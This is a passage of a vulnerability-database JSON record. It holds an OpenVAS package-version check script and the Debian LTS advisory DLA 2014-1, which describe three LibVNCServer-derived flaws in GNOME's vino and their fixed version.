"2019-12-04T15:52:38", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-11-30T00:00:00", "published": "2019-11-30T00:00:00", "id": "OPENVAS:1361412562310892014", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892014", "title": "Debian LTS Advisory ([SECURITY] [DLA 2014-1] vino security update)", "type": "openvas", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.892014\");\n script_version(\"2019-11-30T03:00:09+0000\");\n script_cve_id(\"CVE-2014-6053\", \"CVE-2018-7225\", \"CVE-2019-15681\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-11-30 03:00:09 +0000 (Sat, 30 Nov 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-11-30 03:00:09 +0000 (Sat, 30 Nov 2019)\");\n script_name(\"Debian LTS Advisory ([SECURITY] [DLA 2014-1] vino security update)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB8\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2019/11/msg00032.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DLA-2014-1\");\n script_xref(name:\"URL\", value:\"https://bugs.debian.org/945784\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'vino'\n package(s) announced via the DSA-2014-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Several vulnerabilities have been identified in the VNC code of vino, a\ndesktop sharing utility for the GNOME desktop environment.\n\nThe vulnerabilities referenced below are issues that have originally been\nreported against Debian source package libvncserver. The vino source\npackage in Debian ships a custom-patched and stripped down variant of\nlibvncserver, thus some of libvncserver's security fixes required porting\nover.\n\nCVE-2014-6053\n\nThe rfbProcessClientNormalMessage function in\nlibvncserver/rfbserver.c in LibVNCServer did not properly handle\nattempts to send a large amount of ClientCutText data, which allowed\nremote attackers to cause a denial of service (memory consumption or\ndaemon crash) via a crafted message that was processed by using a\nsingle unchecked malloc.\n\nCVE-2018-7225\n\nAn issue was discovered in LibVNCServer.\nrfbProcessClientNormalMessage() in rfbserver.c did not sanitize\nmsg.cct.length, leading to access to uninitialized and potentially\nsensitive data or possibly unspecified other impact (e.g., an integer\noverflow) via specially crafted VNC packets.\n\nCVE-2019-15681\n\nLibVNC contained a memory leak (CWE-655) in VNC server code, which\nallowed an attacker to read stack memory and could be abused for\ninformation disclosure. Combined with another vulnerability, it could\nbe used to leak stack memory and bypass ASLR. This attack appeared to\nbe exploitable via network connectivity.\");\n\n script_tag(name:\"affected\", value:\"'vino' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For Debian 8 'Jessie', these problems have been fixed in version\n3.14.0-2+deb8u1.\n\nWe recommend that you upgrade your vino packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"vino\", ver:\"3.14.0-2+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2019-11-29T22:14:35", "bulletinFamily": "unix", "description": "Package : vino\nVersion : 3.14.0-2+deb8u1\nCVE ID : CVE-2014-6053 CVE-2018-7225 CVE-2019-15681\nDebian Bug : 945784\n\n\nSeveral vulnerabilities have been identified in the VNC code of vino, a\ndesktop sharing utility for the GNOME desktop environment.\n\nThe vulnerabilities referenced below are issues that have originally been\nreported against Debian source package libvncserver. The vino source\npackage in Debian ships a custom-patched and stripped down variant of\nlibvncserver, thus some of libvncserver's security fixes required porting\nover.\n\nCVE-2014-6053\n\n The rfbProcessClientNormalMessage function in\n libvncserver/rfbserver.c in LibVNCServer did not properly handle\n attempts to send a large amount of ClientCutText data, which allowed\n remote attackers to cause a denial of service (memory consumption or\n daemon crash) via a crafted message that was processed by using a\n single unchecked malloc.\n\nCVE-2018-7225\n\n An issue was discovered in LibVNCServer.\n rfbProcessClientNormalMessage() in rfbserver.c did not sanitize\n msg.cct.length, leading to access to uninitialized and potentially\n sensitive data or possibly unspecified other impact (e.g., an integer\n overflow) via specially crafted VNC packets.\n\nCVE-2019-15681\n\n LibVNC contained a memory leak (CWE-655) in VNC server code, which\n allowed an attacker to read stack memory and could be abused for\n information disclosure. Combined with another vulnerability, it could\n be used to leak stack memory and bypass ASLR. This attack appeared to\n be exploitable via network connectivity.\n\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n3.14.0-2+deb8u1.\n\nWe recommend that you upgrade your vino packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n\n-- \n\nmike gabriel aka sunweaver (Debian Developer)\nfon: +49 (1520) 1976 148\n\nGnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22 0782 9AF4 6B30 2577 1B31\nmail: sunweaver@debian.org, http://sunweavers.net\n", "modified": "2019-11-29T08:31:28", "published": "2019-11-29T08:31:28", "id": "DEBIAN:DLA-2014-1:AEDFD", "href": "https://lists.debian.org/debian-lts-announce/2019/debian-lts-announce-201911/msg00032.html", "title": "[SECURITY] [DLA 2014-1] vino security update", "type": "debian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}